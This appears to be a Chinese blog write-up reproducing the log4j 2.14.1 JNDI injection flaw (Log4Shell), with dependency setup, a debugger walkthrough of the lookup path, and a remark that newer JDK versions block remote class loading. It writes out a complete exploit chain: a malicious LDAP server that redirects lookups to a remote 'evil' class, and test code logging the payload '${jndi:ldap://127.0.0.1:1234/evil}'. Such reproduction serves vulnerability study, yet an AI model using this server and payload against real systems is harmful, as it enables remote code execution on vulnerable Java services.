环境搭建
依赖:
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.9</version> <scope>test</scope> </dependency>
ldap server :
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class Server { private static final String LDAP_BASE = "dc=ldap,dc=Log4j,dc=com"; public static void main (String[] args) { // 恶意class文件存放url String url = "http://127.0.0.1:8000/#evil"; // ldap 服务器端口号 int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
测试代码:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test { private static final Logger logger = LogManager.getLogger(test.class); public static void main(String[] args) { String str = "${jndi:ldap://127.0.0.1:1234/evil}"; logger.error("params:{}",str); } }
漏洞分析
官方文档介绍log4j提供很多lookups,也正是因为它支持jndi的方式所以造成了该漏洞。
接下来,下断点跟进,直到 org.apache.logging.log4j.core.lookup#Strsubstitutor.replace方法,跟进调用的 substitute(event, buf, 0, source.length())
函数简介说明,该函数可以解析文本中包含变量的值,往下走
发现 isMatch(chars, pos, offset, bufEnd)
这是一个做字符串匹配的函数,chars[]的内容和buffer的匹配就返回chars[]的长度
继续往下跟,直到 resolveVariable(event, varName, buf, startPos, endPos) (中间的过程很漫长,需要点耐心,一直在处理字符串)
中间没什么特别的操作
跟进 lookup(event, variableName),看一下这个lookup是不是我属性的jndi常用的lookup
看到程序走到 return (T) this.context.lookup(name) 弹出计算器
再看看context的定义是我们所熟知的 javax.naming.Context就一目了然了
最后
本文复现环境 jdk8u11
换一个高版本的jdk,ldap协议就不行了,因为不再支持加载远程class
下图使用jdk8u301,看到ldap server收到请求,但是不会弹出计算器了
这同样也就解释了,为啥dnslog收到了请求,却打不了的情况~